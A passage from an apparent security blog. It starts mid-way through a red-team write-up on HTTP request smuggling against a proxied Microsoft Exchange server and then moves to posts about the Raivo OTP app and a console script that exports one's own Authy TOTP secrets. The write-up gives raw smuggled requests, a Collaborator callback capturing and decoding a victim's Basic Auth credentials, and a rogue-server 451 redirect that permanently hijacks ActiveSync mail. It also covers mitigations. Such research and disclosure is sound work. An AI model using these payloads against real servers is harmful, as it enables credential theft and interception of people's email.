0

GET https://xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net/ HTTP/1.1
X-Ignore: 1

A few moments later, as expected, Burp Collaborator catches the ActiveSync request from the victim 🎉.

POST /Microsoft-Server-ActiveSync?User=bob@customer.com&DeviceId=e1568c571e684e0fb1724da85d215dc0&DeviceType=iPhone&Cmd=FolderSync  HTTP/1.1
Host: xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net
Content-Type: application/vnd.ms-sync.wbxml
Accept: */*
Accept-Language: nl-nl
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
MS-ASProtocolVersion: 14.1
User-Agent: Apple-iPhone11C8/1804.70
Authorization: Basic Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy
Content-Lengh: 13
X-MS-PolicyKey: 0

jVR0

We have successfully captured the Authorization header which contains the encoded credentials of the victim.

$ echo Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy | base64 -D
customer.com\bob:hunter2

The HRS attack is visualized in the figure below.

Permanently migrating the victims’ mailbox to our rogue exchange server

The undocumented feature

As a red team, we would like to delve deeper into the possible impact of this finding. For this reason, we looked for further options from a threat actor’s point of view, the most notable of which was to gain permanent access to the victims’ credentials. It turns out that ActiveSync has a ‘feature’ to automatically update the configuration of mail clients if the mailbox of the user was migrated from on premises to Office365. This feature works as follows (and as demonstrated in the visual).

The client tries to retrieve mail via the HTTP ActiveSync protocol.
Exchange checks if the mailbox of the user exists or if it is migrated to Office365.
The DC returns that the mailbox is not found (this means it was migrated).
Exchange tries to get the TargetOWAURL of the domain (which is where the mailbox is hosted).
The DC returns the TargetOWAURL (outlook.office365.com in this case).
Exchange responds to the client with a HTTP 451 redirect to the TargetOWAURL.
The client uses the TargetOWAURL for all future requests.
The HTTP ActiveSync request to TargetOWAURL was successful.

So, to conclude, if the Exchange server responds with a 451 Unavailable For Legal Reasons in combination with the X-MS-Location header, the victims Exchange server configuration is updated accordingly. An example of such a response is included below.

HTTP/1.1 451 Unavailable For Legal Reasons 
Date: Thu, 12 Mar 2009 20:16:22 GMT
X-MS-Location: https://mail.contoso.com/Microsoft-Server-ActiveSync
Content-Length: 0

However, using our HRS attack it is not possible to generate a 451 Unavailable For Legal Reasons for the victim. It is only possible to generate a 301 Moved Permanently, as that is the response when adding a URI to the first line of a GET request. We can however redirect the victim using the 301 Moved Permanently to our rogue server, which responds with a 451 Unavailable For Legal Reasons to a rogue exchange server subsequently. If we make sure that the rogue exchange server is simply a proxy to the legitimate environment, we can permanently man-in-the-middle all of the victims’ ActiveSync requests, while the victim won’t notice a thing. The attack is demonstrated below.

Migrating the victims’ mailbox to our rogue exchange

To demonstrate that the above theory works, we connected a ‘victim’ (tgad.local\bob) to our demo environment; an Exchange server behind the proxy tgvmex01.local. Bob is connected using ActiveSync. His iOS Exchange configuration is included below.

A threat actor that would like to migrate Bob’s mailbox to a rogue exchange server needs to start by performing an HRS attack which redirects Bob’s ActiveSync requests to a rogue server. An example is included below.

POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1
 Transfer-Encoding: chunked
Connection: keep-alive
Host: tgvmex01.proxy
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 160

3F
6kqfa=x&url=https%3a%2ftgvmex01.proxy%2fowa%2f&reason=0&whfto=x
0

GET https://rogue-server.remote/ HTTP/1.1
X-Ignore: X

The server rogue-server.com always serves the same response, no matter what the request is. This response is included below and has the 451 Unavailable For Legal Reasons status with the rogue exchange server in the response headers.

HTTP/1.1 451 Unavailable For Legal Reasons
Date: Thu, 08 Apr 2021 18:14:22 GMT
Server: Apache/2.4.46 (Debian)
X-MS-Location: https://rogue-exchange.remote/
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

When Bob falls victim to the HRS attack, he will be served with the 451 Unavailable For Legal Reasons response of the rogue server. Bob’s email client will change the server address to rogue-exchange.remote, as the response indicated a mailbox migration to this rogue exchange.

The first few tries of this attack didn’t work. But after trying it for several times in a row, the HRS attack finally triggered on Bob’s synchronization request, causing Bob’s mail client to change the configuration to the rogue exchange, as can be seen in Bob’s Exchange settings below.

Victory 🎉! As the rogue exchange proxies all requests to the legitimate exchange, Bob won’t notice the malicious configuration change (unless he looks at his Exchange settings). As a threat actor, we are now able to intercept all his ActiveSync requests, even after Bob changes his credentials.

Mitigation

Multiple mitigations for HRS vulnerabilities exist. In an ideal world both the proxy and backend server (in this case Exchange) interpret HTTP requests exactly as stated in the RFC7231. That would prevent HRS vulnerabilities as both servers interpret the boundaries of HTTP requests in the same manner.

However, we are not living in the ideal world. A better mitigation is to disable http-reuse (a performance optimization) between the proxy and the backend, so that each request is sent over a separate network connection. Additionally, HRS could be mitigated by forcing HTTP/2 connections from the proxy to the backend, as HRS vulnerabilities cannot arise in this version of the HTTP protocol.

Finally, we strongly advise against using Basic Auth as an authentication method for Exchange. Use modern authentication instead. Using modern authentication, a threat actor could ‘only’ intercept oAuth tokens.

Migrating your one-time passwords to Raivo OTP

2019-08-16T00:00:00+00:00

If you’re annoyed by the user experience of OTP apps such as Authy or the Google Authenticator (just like me), then you may find this useful! In my spare time, I developed Raivo OTP. Raivo OTP is a non-commercial OTP app for iOS, that contains many must-have features like automagic data synchronization, search capabilities and viewing the current and previous token. Most importantly, Raivo OTP is native (developed in Swift 5) and is therefore very fast!

One of the features that is lacking in most of the OTP apps (except Raivo OTP 👌) is the possibility to export OTPs. Therefore, migrating OTPs isn’t easy. That OTP apps are lacking export functionalities is probably due to the fact that vendors don’t want you to leave their product or service. However, during the development of Raivo OTP I found various fancy workarounds that enable you to export OTPs from popular OTP apps. I want to share these to improve the experience of migrating to Raivo OTP.

The following blog posts are guides that walk you through the process of exporting your OTPs and importing them into Raivo OTP.

Migrating from Authy to Raivo OTP
Migrating from Google Authenticator to Raivo OTP (coming soon)

Migrating one-time passwords from Authy to Raivo OTP

2019-08-14T00:00:00+00:00

[Note] This blog post is part of a series of migration guides that enable you migrate your OTPs from various OTP apps to Raivo OTP.

Authy has an extension for Chrome that allows you to view your OTPs in your browser. This extension will enable you to extract the tokens and generate QR-codes, which Raivo OTP can scan. The following guide is based on a GitHub Gist from the user gboudreau, which a colleague of mine found online.

Migrating

Install Authy from the Chrome Web Store.
Open the Authy extension and sign in (make sure that the OTPs are visible by clicking on one of them)
Go to the extensions page in Chrome (chrome://extensions/ or Menu > More tools > Extensions)
Enable developer mode in the top right corner
Click on the Authy extension and open the main.html file
The Chrome developer console should now open.
Paste the JavaScript (at the bottom of this page) into your console.
You’ll now see QR-codes that you’ll be able to scan using Raivo OTP!
When done, close the developer tools, disable developer mode, and uninstall the Authy extension.

/*! Based on https://gist.github.com/gboudreau/94bb0c11a6209c82418d01a59d958c93 */

/*! QRious v4.0.2 | (C) 2017 Alasdair Mercer | GPL v3 License
Based on jsqrencode | (C) 2010 tz@execpc.com | GPL v3 License */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.QRious=e()}(this,function(){"use strict";function t(t,e){var n;return"function"==typeof Object.create?n=Object.create(t):(s.prototype=t,n=new s,s.prototype=null),e&&i(!0,n,e),n}function e(e,n,s,r){var o=this;return"string"!=typeof e&&(r=s,s=n,n=e,e=null),"function"!=typeof n&&(r=s,s=n,n=function(){return o.apply(this,arguments)}),i(!1,n,o,r),n.prototype=t(o.prototype,s),n.prototype.constructor=n,n.class_=e||o.class_,n.super_=o,n}function i(t,e,i){for(var n,s,a=0,h=(i=o.call(arguments,2)).length;a<h;a++){s=i[a];for(n in s)t&&!r.call(s,n)||(e[n]=s[n])}}function n(){}var s=function(){},r=Object.prototype.hasOwnProperty,o=Array.prototype.slice,a=e;n.class_="Nevis",n.super_=Object,n.extend=a;var h=n,f=h.extend(function(t,e,i){this.qrious=t,this.element=e,this.element.qrious=t,this.enabled=Boolean(i)},{draw:function(t){},getElement:function(){return this.enabled||(this.enabled=!0,this.render()),this.element},getModuleSize:function(t){var e=this.qrious,i=e.padding||0,n=Math.floor((e.size-2*i)/t.width);return Math.max(1,n)},getOffset:function(t){var e=this.qrious,i=e.padding;if(null!=i)return i;var n=this.getModuleSize(t),s=Math.floor((e.size-n*t.width)/2);return Math.max(0,s)},render:function(t){this.enabled&&(this.resize(),this.reset(),this.draw(t))},reset:function(){},resize:function(){}}),c=f.extend({draw:function(t){var e,i,n=this.qrious,s=this.getModuleSize(t),r=this.getOffset(t),o=this.element.getContext("2d");for(o.fillStyle=n.foreground,o.globalAlpha=n.foregroundAlpha,e=0;e<t.width;e++)for(i=0;i<t.width;i++)t.buffer[i*t.width+e]&&o.fillRect(s*e+r,s*i+r,s,s)},reset:function(){var t=this.qrious,e=this.element.getContext("2d"),i=t.size;e.lineWidth=1,e.clearRect(0,0,i,i),e.fillStyle=t.background,e.globalAlpha=t.backgroundAlpha,e.fillRect(0,0,i,i)},resize:function(){var t=this.element;t.width=t.height=this.qrious.size}}),u=h.extend(null,{BLOCK:[0,11,15,19,23,27,31,16,18,20,22,24,26,28,20,22,24,24,26,28,28,22,24,24,26,26,28,28,24,24,26,26,26,28,28,24,26,26,26,28,28]}),l=h.extend(null,{BLOCKS:[1,0,19,7,1,0,16,10,1,0,13,13,1,0,9,17,1,0,34,10,1,0,28,16,1,0,22,22,1,0,16,28,1,0,55,15,1,0,44,26,2,0,17,18,2,0,13,22,1,0,80,20,2,0,32,18,2,0,24,26,4,0,9,16,1,0,108,26,2,0,43,24,2,2,15,18,2,2,11,22,2,0,68,18,4,0,27,16,4,0,19,24,4,0,15,28,2,0,78,20,4,0,31,18,2,4,14,18,4,1,13,26,2,0,97,24,2,2,38,22,4,2,18,22,4,2,14,26,2,0,116,30,3,2,36,22,4,4,16,20,4,4,12,24,2,2,68,18,4,1,43,26,6,2,19,24,6,2,15,28,4,0,81,20,1,4,50,30,4,4,22,28,3,8,12,24,2,2,92,24,6,2,36,22,4,6,20,26,7,4,14,28,4,0,107,26,8,1,37,22,8,4,20,24,12,4,11,22,3,1,115,30,4,5,40,24,11,5,16,20,11,5,12,24,5,1,87,22,5,5,41,24,5,7,24,30,11,7,12,24,5,1,98,24,7,3,45,28,15,2,19,24,3,13,15,30,1,5,107,28,10,1,46,28,1,15,22,28,2,17,14,28,5,1,120,30,9,4,43,26,17,1,22,28,2,19,14,28,3,4,113,28,3,11,44,26,17,4,21,26,9,16,13,26,3,5,107,28,3,13,41,26,15,5,24,30,15,10,15,28,4,4,116,28,17,0,42,26,17,6,22,28,19,6,16,30,2,7,111,28,17,0,46,28,7,16,24,30,34,0,13,24,4,5,121,30,4,14,47,28,11,14,24,30,16,14,15,30,6,4,117,30,6,14,45,28,11,16,24,30,30,2,16,30,8,4,106,26,8,13,47,28,7,22,24,30,22,13,15,30,10,2,114,28,19,4,46,28,28,6,22,28,33,4,16,30,8,4,122,30,22,3,45,28,8,26,23,30,12,28,15,30,3,10,117,30,3,23,45,28,4,31,24,30,11,31,15,30,7,7,116,30,21,7,45,28,1,37,23,30,19,26,15,30,5,10,115,30,19,10,47,28,15,25,24,30,23,25,15,30,13,3,115,30,2,29,46,28,42,1,24,30,23,28,15,30,17,0,115,30,10,23,46,28,10,35,24,30,19,35,15,30,17,1,115,30,14,21,46,28,29,19,24,30,11,46,15,30,13,6,115,30,14,23,46,28,44,7,24,30,59,1,16,30,12,7,121,30,12,26,47,28,39,14,24,30,22,41,15,30,6,14,121,30,6,34,47,28,46,10,24,30,2,64,15,30,17,4,122,30,29,14,46,28,49,10,24,30,24,46,15,30,4,18,122,30,13,32,46,28,48,14,24,30,42,32,15,30,20,4,117,30,40,7,47,28,43,22,24,30,10,67,15,30,19,6,118,30,18,31,47,28,34,34,24,30,20,61,15,30],FINAL_FORMAT:[30660,29427,32170,30877,26159,25368,27713,26998,21522,20773,24188,23371,17913,16590,20375,19104,13663,12392,16177,14854,9396,8579,11994,11245,5769,5054,7399,6608,1890,597,3340,2107],LEVELS:{L:1,M:2,Q:3,H:4}}),_=h.extend(null,{EXPONENT:[1,2,4,8,16,32,64,128,29,58,116,232,205,135,19,38,76,152,45,90,180,117,234,201,143,3,6,12,24,48,96,192,157,39,78,156,37,74,148,53,106,212,181,119,238,193,159,35,70,140,5,10,20,40,80,160,93,186,105,210,185,111,222,161,95,190,97,194,153,47,94,188,101,202,137,15,30,60,120,240,253,231,211,187,107,214,177,127,254,225,223,163,91,182,113,226,217,175,67,134,17,34,68,136,13,26,52,104,208,189,103,206,129,31,62,124,248,237,199,147,59,118,236,197,151,51,102,204,133,23,46,92,184,109,218,169,79,158,33,66,132,21,42,84,168,77,154,41,82,164,85,170,73,146,57,114,228,213,183,115,230,209,191,99,198,145,63,126,252,229,215,179,123,246,241,255,227,219,171,75,150,49,98,196,149,55,110,220,165,87,174,65,130,25,50,100,200,141,7,14,28,56,112,224,221,167,83,166,81,162,89,178,121,242,249,239,195,155,43,86,172,69,138,9,18,36,72,144,61,122,244,245,247,243,251,235,203,139,11,22,44,88,176,125,250,233,207,131,27,54,108,216,173,71,142,0],LOG:[255,0,1,25,2,50,26,198,3,223,51,238,27,104,199,75,4,100,224,14,52,141,239,129,28,193,105,248,200,8,76,113,5,138,101,47,225,36,15,33,53,147,142,218,240,18,130,69,29,181,194,125,106,39,249,185,201,154,9,120,77,228,114,166,6,191,139,98,102,221,48,253,226,152,37,179,16,145,34,136,54,208,148,206,143,150,219,189,241,210,19,92,131,56,70,64,30,66,182,163,195,72,126,110,107,58,40,84,250,133,186,61,202,94,155,159,10,21,121,43,78,212,229,172,115,243,167,87,7,112,192,247,140,128,99,13,103,74,222,237,49,197,254,24,227,165,153,119,38,184,180,124,17,68,146,217,35,32,137,46,55,63,209,91,149,188,207,205,144,135,151,178,220,252,190,97,242,86,211,171,20,42,93,158,132,60,57,83,71,109,65,162,31,45,67,216,183,123,164,118,196,23,73,236,127,12,111,246,108,161,59,82,41,157,85,170,251,96,134,177,187,204,62,90,203,89,95,176,156,169,160,81,11,245,22,235,122,117,44,215,79,174,213,233,230,231,173,232,116,214,244,234,168,80,88,175]}),d=h.extend(null,{BLOCK:[3220,1468,2713,1235,3062,1890,2119,1549,2344,2936,1117,2583,1330,2470,1667,2249,2028,3780,481,4011,142,3098,831,3445,592,2517,1776,2234,1951,2827,1070,2660,1345,3177]}),v=h.extend(function(t){var e,i,n,s,r,o=t.value.length;for(this._badness=[],this._level=l.LEVELS[t.level],this._polynomial=[],this._value=t.value,this._version=0,this._stringBuffer=[];this._version<40&&(this._version++,n=4*(this._level-1)+16*(this._version-1),s=l.BLOCKS[n++],r=l.BLOCKS[n++],e=l.BLOCKS[n++],i=l.BLOCKS[n],n=e*(s+r)+r-3+(this._version<=9),!(o<=n)););this._dataBlock=e,this._eccBlock=i,this._neccBlock1=s,this._neccBlock2=r;var a=this.width=17+4*this._version;this.buffer=v._createArray(a*a),this._ecc=v._createArray(e+(e+i)*(s+r)+r),this._mask=v._createArray((a*(a+1)+1)/2),this._insertFinders(),this._insertAlignments(),this.buffer[8+a*(a-8)]=1,this._insertTimingGap(),this._reverseMask(),this._insertTimingRowAndColumn(),this._insertVersion(),this._syncMask(),this._convertBitStream(o),this._calculatePolynomial(),this._appendEccToData(),this._interleaveBlocks(),this._pack(),this._finish()},{_addAlignment:function(t,e){var i,n=this.buffer,s=this.width;for(n[t+s*e]=1,i=-2;i<2;i++)n[t+i+s*(e-2)]=1,n[t-2+s*(e+i+1)]=1,n[t+2+s*(e+i)]=1,n[t+i+1+s*(e+2)]=1;for(i=0;i<2;i++)this._setMask(t-1,e+i),this._setMask(t+1,e-i),this._setMask(t-i,e-1),this._setMask(t+i,e+1)},_appendData:function(t,e,i,n){var s,r,o,a=this._polynomial,h=this._stringBuffer;for(r=0;r<n;r++)h[i+r]=0;for(r=0;r<e;r++){if(255!==(s=_.LOG[h[t+r]^h[i]]))for(o=1;o<n;o++)h[i+o-1]=h[i+o]^_.EXPONENT[v._modN(s+a[n-o])];else for(o=i;o<i+n;o++)h[o]=h[o+1];h[i+n-1]=255===s?0:_.EXPONENT[v._modN(s+a[0])]}},_appendEccToData:function(){var t,e=0,i=this._dataBlock,n=this._calculateMaxLength(),s=this._eccBlock;for(t=0;t<this._neccBlock1;t++)this._appendData(e,i,n,s),e+=i,n+=s;for(t=0;t<this._neccBlock2;t++)this._appendData(e,i+1,n,s),e+=i+1,n+=s},_applyMask:function(t){var e,i,n,s,r=this.buffer,o=this.width;switch(t){case 0:for(s=0;s<o;s++)for(n=0;n<o;n++)n+s&1||this._isMasked(n,s)||(r[n+s*o]^=1);break;case 1:for(s=0;s<o;s++)for(n=0;n<o;n++)1&s||this._isMasked(n,s)||(r[n+s*o]^=1);break;case 2:for(s=0;s<o;s++)for(e=0,n=0;n<o;n++,e++)3===e&&(e=0),e||this._isMasked(n,s)||(r[n+s*o]^=1);break;case 3:for(i=0,s=0;s<o;s++,i++)for(3===i&&(i=0),e=i,n=0;n<o;n++,e++)3===e&&(e=0),e||this._isMasked(n,s)||(r[n+s*o]^=1);break;case 4:for(s=0;s<o;s++)for(e=0,i=s>>1&1,n=0;n<o;n++,e++)3===e&&(e=0,i=!i),i||this._isMasked(n,s)||(r[n+s*o]^=1);break;case 5:for(i=0,s=0;s<o;s++,i++)for(3===i&&(i=0),e=0,n=0;n<o;n++,e++)3===e&&(e=0),(n&s&1)+!(!e|!i)||this._isMasked(n,s)||(r[n+s*o]^=1);break;case 6:for(i=0,s=0;s<o;s++,i++)for(3===i&&(i=0),e=0,n=0;n<o;n++,e++)3===e&&(e=0),(n&s&1)+(e&&e===i)&1||this._isMasked(n,s)||(r[n+s*o]^=1);break;case 7:for(i=0,s=0;s<o;s++,i++)for(3===i&&(i=0),e=0,n=0;n<o;n++,e++)3===e&&(e=0),(e&&e===i)+(n+s&1)&1||this._isMasked(n,s)||(r[n+s*o]^=1)}},_calculateMaxLength:function(){return this._dataBlock*(this._neccBlock1+this._neccBlock2)+this._neccBlock2},_calculatePolynomial:function(){var t,e,i=this._eccBlock,n=this._polynomial;for(n[0]=1,t=0;t<i;t++){for(n[t+1]=1,e=t;e>0;e--)n[e]=n[e]?n[e-1]^_.EXPONENT[v._modN(_.LOG[n[e]]+t)]:n[e-1];n[0]=_.EXPONENT[v._modN(_.LOG[n[0]]+t)]}for(t=0;t<=i;t++)n[t]=_.LOG[n[t]]},_checkBadness:function(){var t,e,i,n,s,r=0,o=this._badness,a=this.buffer,h=this.width;for(s=0;s<h-1;s++)for(n=0;n<h-1;n++)(a[n+h*s]&&a[n+1+h*s]&&a[n+h*(s+1)]&&a[n+1+h*(s+1)]||!(a[n+h*s]||a[n+1+h*s]||a[n+h*(s+1)]||a[n+1+h*(s+1)]))&&(r+=v.N2);var f=0;for(s=0;s<h;s++){for(i=0,o[0]=0,t=0,n=0;n<h;n++)t===(e=a[n+h*s])?o[i]++:o[++i]=1,f+=(t=e)?1:-1;r+=this._getBadness(i)}f<0&&(f=-f);var c=0,u=f;for(u+=u<<2,u<<=1;u>h*h;)u-=h*h,c++;for(r+=c*v.N4,n=0;n<h;n++){for(i=0,o[0]=0,t=0,s=0;s<h;s++)t===(e=a[n+h*s])?o[i]++:o[++i]=1,t=e;r+=this._getBadness(i)}return r},_convertBitStream:function(t){var e,i,n=this._ecc,s=this._version;for(i=0;i<t;i++)n[i]=this._value.charCodeAt(i);var r=this._stringBuffer=n.slice(),o=this._calculateMaxLength();t>=o-2&&(t=o-2,s>9&&t--);var a=t;if(s>9){for(r[a+2]=0,r[a+3]=0;a--;)e=r[a],r[a+3]|=255&e<<4,r[a+2]=e>>4;r[2]|=255&t<<4,r[1]=t>>4,r[0]=64|t>>12}else{for(r[a+1]=0,r[a+2]=0;a--;)e=r[a],r[a+2]|=255&e<<4,r[a+1]=e>>4;r[1]|=255&t<<4,r[0]=64|t>>4}for(a=t+3-(s<10);a<o;)r[a++]=236,r[a++]=17},_getBadness:function(t){var e,i=0,n=this._badness;for(e=0;e<=t;e++)n[e]>=5&&(i+=v.N1+n[e]-5);for(e=3;e<t-1;e+=2)n[e-2]===n[e+2]&&n[e+2]===n[e-1]&&n[e-1]===n[e+1]&&3*n[e-1]===n[e]&&(0===n[e-3]||e+3>t||3*n[e-3]>=4*n[e]||3*n[e+3]>=4*n[e])&&(i+=v.N3);return i},_finish:function(){this._stringBuffer=this.buffer.slice();var t,e,i=0,n=3e4;for(e=0;e<8&&(this._applyMask(e),(t=this._checkBadness())<n&&(n=t,i=e),7!==i);e++)this.buffer=this._stringBuffer.slice();i!==e&&this._applyMask(i),n=l.FINAL_FORMAT[i+(this._level-1<<3)];var s=this.buffer,r=this.width;for(e=0;e<8;e++,n>>=1)1&n&&(s[r-1-e+8*r]=1,e<6?s[8+r*e]=1:s[8+r*(e+1)]=1);for(e=0;e<7;e++,n>>=1)1&n&&(s[8+r*(r-7+e)]=1,e?s[6-e+8*r]=1:s[7+8*r]=1)},_interleaveBlocks:function(){var t,e,i=this._dataBlock,n=this._ecc,s=this._eccBlock,r=0,o=this._calculateMaxLength(),a=this._neccBlock1,h=this._neccBlock2,f=this._stringBuffer;for(t=0;t<i;t++){for(e=0;e<a;e++)n[r++]=f[t+e*i];for(e=0;e<h;e++)n[r++]=f[a*i+t+e*(i+1)]}for(e=0;e<h;e++)n[r++]=f[a*i+t+e*(i+1)];for(t=0;t<s;t++)for(e=0;e<a+h;e++)n[r++]=f[o+t+e*s];this._stringBuffer=n},_insertAlignments:function(){var t,e,i,n=this._version,s=this.width;if(n>1)for(t=u.BLOCK[n],i=s-7;;){for(e=s-7;e>t-3&&(this._addAlignment(e,i),!(e<t));)e-=t;if(i<=t+9)break;i-=t,this._addAlignment(6,i),this._addAlignment(i,6)}},_insertFinders:function(){var t,e,i,n,s=this.buffer,r=this.width;for(t=0;t<3;t++){for(e=0,n=0,1===t&&(e=r-7),2===t&&(n=r-7),s[n+3+r*(e+3)]=1,i=0;i<6;i++)s[n+i+r*e]=1,s[n+r*(e+i+1)]=1,s[n+6+r*(e+i)]=1,s[n+i+1+r*(e+6)]=1;for(i=1;i<5;i++)this._setMask(n+i,e+1),this._setMask(n+1,e+i+1),this._setMask(n+5,e+i),this._setMask(n+i+1,e+5);for(i=2;i<4;i++)s[n+i+r*(e+2)]=1,s[n+2+r*(e+i+1)]=1,s[n+4+r*(e+i)]=1,s[n+i+1+r*(e+4)]=1}},_insertTimingGap:function(){var t,e,i=this.width;for(e=0;e<7;e++)this._setMask(7,e),this._setMask(i-8,e),this._setMask(7,e+i-7);for(t=0;t<8;t++)this._setMask(t,7),this._setMask(t+i-8,7),this._setMask(t,i-8)},_insertTimingRowAndColumn:function(){var t,e=this.buffer,i=this.width;for(t=0;t<i-14;t++)1&t?(this._setMask(8+t,6),this._setMask(6,8+t)):(e[8+t+6*i]=1,e[6+i*(8+t)]=1)},_insertVersion:function(){var t,e,i,n,s=this.buffer,r=this._version,o=this.width;if(r>6)for(t=d.BLOCK[r-7],e=17,i=0;i<6;i++)for(n=0;n<3;n++,e--)1&(e>11?r>>e-12:t>>e)?(s[5-i+o*(2-n+o-11)]=1,s[2-n+o-11+o*(5-i)]=1):(this._setMask(5-i,2-n+o-11),this._setMask(2-n+o-11,5-i))},_isMasked:function(t,e){var i=v._getMaskBit(t,e);return 1===this._mask[i]},_pack:function(){var t,e,i,n=1,s=1,r=this.width,o=r-1,a=r-1,h=(this._dataBlock+this._eccBlock)*(this._neccBlock1+this._neccBlock2)+this._neccBlock2;for(e=0;e<h;e++)for(t=this._stringBuffer[e],i=0;i<8;i++,t<<=1){128&t&&(this.buffer[o+r*a]=1);do{s?o--:(o++,n?0!==a?a--:(n=!n,6===(o-=2)&&(o--,a=9)):a!==r-1?a++:(n=!n,6===(o-=2)&&(o--,a-=8))),s=!s}while(this._isMasked(o,a))}},_reverseMask:function(){var t,e,i=this.width;for(t=0;t<9;t++)this._setMask(t,8);for(t=0;t<8;t++)this._setMask(t+i-8,8),this._setMask(8,t);for(e=0;e<7;e++)this._setMask(8,e+i-7)},_setMask:function(t,e){var i=v._getMaskBit(t,e);this._mask[i]=1},_syncMask:function(){var t,e,i=this.width;for(e=0;e<i;e++)for(t=0;t<=e;t++)this.buffer[t+i*e]&&this._setMask(t,e)}},{_createArray:function(t){var e,i=[];for(e=0;e<t;e++)i[e]=0;return i},_getMaskBit:function(t,e){var i;return t>e&&(i=t,t=e,e=i),i=e,i+=e*e,i>>=1,i+=t},_modN:function(t){for(;t>=255;)t=((t-=255)>>8)+(255&t);return t},N1:3,N2:3,N3:40,N4:10}),p=v,m=f.extend({draw:function(){this.element.src=this.qrious.toDataURL()},reset:function(){this.element.src=""},resize:function(){var t=this.element;t.width=t.height=this.qrious.size}}),g=h.extend(function(t,e,i,n){this.name=t,this.modifiable=Boolean(e),this.defaultValue=i,this._valueTransformer=n},{transform:function(t){var e=this._valueTransformer;return"function"==typeof e?e(t,this):t}}),k=h.extend(null,{abs:function(t){return null!=t?Math.abs(t):null},hasOwn:function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},noop:function(){},toUpperCase:function(t){return null!=t?t.toUpperCase():null}}),w=h.extend(function(t){this.options={},t.forEach(function(t){this.options[t.name]=t},this)},{exists:function(t){return null!=this.options[t]},get:function(t,e){return w._get(this.options[t],e)},getAll:function(t){var e,i=this.options,n={};for(e in i)k.hasOwn(i,e)&&(n[e]=w._get(i[e],t));return n},init:function(t,e,i){"function"!=typeof i&&(i=k.noop);var n,s;for(n in this.options)k.hasOwn(this.options,n)&&(s=this.options[n],w._set(s,s.defaultValue,e),w._createAccessor(s,e,i));this._setAll(t,e,!0)},set:function(t,e,i){return this._set(t,e,i)},setAll:function(t,e){return this._setAll(t,e)},_set:function(t,e,i,n){var s=this.options[t];if(!s)throw new Error("Invalid option: "+t);if(!s.modifiable&&!n)throw new Error("Option cannot be modified: "+t);return w._set(s,e,i)},_setAll:function(t,e,i){if(!t)return!1;var n,s=!1;for(n in t)k.hasOwn(t,n)&&this._set(n,t[n],e,i)&&(s=!0);return s}},{_createAccessor:function(t,e,i){var n={get:function(){return w._get(t,e)}};t.modifiable&&(n.set=function(n){w._set(t,n,e)&&i(n,t)}),Object.defineProperty(e,t.name,n)},_get:function(t,e){return e["_"+t.name]},_set:function(t,e,i){var n="_"+t.name,s=i[n],r=t.transform(null!=e?e:t.defaultValue);return i[n]=r,r!==s}}),M=w,b=h.extend(function(){this._services={}},{getService:function(t){var e=this._services[t];if(!e)throw new Error("Service is not being managed with name: "+t);return e},setService:function(t,e){if(this._services[t])throw new Error("Service is already managed with name: "+t);e&&(this._services[t]=e)}}),B=new M([new g("background",!0,"white"),new g("backgroundAlpha",!0,1,k.abs),new g("element"),new g("foreground",!0,"black"),new g("foregroundAlpha",!0,1,k.abs),new g("level",!0,"L",k.toUpperCase),new g("mime",!0,"image/png"),new g("padding",!0,null,k.abs),new g("size",!0,100,k.abs),new g("value",!0,"")]),y=new b,O=h.extend(function(t){B.init(t,this,this.update.bind(this));var e=B.get("element",this),i=y.getService("element"),n=e&&i.isCanvas(e)?e:i.createCanvas(),s=e&&i.isImage(e)?e:i.createImage();this._canvasRenderer=new c(this,n,!0),this._imageRenderer=new m(this,s,s===e),this.update()},{get:function(){return B.getAll(this)},set:function(t){B.setAll(t,this)&&this.update()},toDataURL:function(t){return this.canvas.toDataURL(t||this.mime)},update:function(){var t=new p({level:this.level,value:this.value});this._canvasRenderer.render(t),this._imageRenderer.render(t)}},{use:function(t){y.setService(t.getName(),t)}});Object.defineProperties(O.prototype,{canvas:{get:function(){return this._canvasRenderer.getElement()}},image:{get:function(){return this._imageRenderer.getElement()}}});var A=O,L=h.extend({getName:function(){}}).extend({createCanvas:function(){},createImage:function(){},getName:function(){return"element"},isCanvas:function(t){},isImage:function(t){}}).extend({createCanvas:function(){return document.createElement("canvas")},createImage:function(){return document.createElement("img")},isCanvas:function(t){return t instanceof HTMLCanvasElement},isImage:function(t){return t instanceof HTMLImageElement}});return A.use(new L),A});

/*! Based on https://github.com/LinusU/base32-encode/blob/master/index.js */
function hex_to_b32(hex) {
    let alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
    let bytes = [];

    for (let i = 0; i < hex.length; i += 2) {
        bytes.push(parseInt(hex.substr(i, 2), 16));
    }

    let bits = 0;
    let value = 0;
    let output = '';

    for (let i = 0; i < bytes.length; i++) {
        value = (value << 8) | bytes[i];
        bits += 8;

        while (bits >= 5) {
            output += alphabet[(value >>> (bits - 5)) & 31];
            bits -= 5;
        }
    }

    if (bits > 0) {
        output += alphabet[(value << (5 - bits)) & 31];
    }

    return output;
}

/*! Based on Based on https://github.com/adriancooney/console.image */
function console_image(url, size) {
    console.log("%c+", "font-size: " + size + "px; line-height: " + size + "px; background: url(" + url + "); background-repeat: no-repeat; color: transparent; background-size: contain");
}

appManager.getModel().forEach(function(i) {
    let issuer = i.originalName ? i.originalName.split(":")[0] : "";
    let qr_size = 500;

    let secret = (i.markedForDeletion === false ? i.decryptedSeed : hex_to_b32(i.secretSeed));
    let period = (i.digits === 7 ? 10 : 30);
    let totp_uri = `otpauth://totp/${encodeURIComponent(i.name)}?issuer=${encodeURIComponent(issuer)}&secret=${secret}&digits=${i.digits}&period=${period}`;

    console.group(i.originalName);
        console.log('TOTP secret:', secret);
        console.log('TOTP URI:', totp_uri);

        let url = (new QRious({value: totp_uri, size: qr_size})).toDataURL();
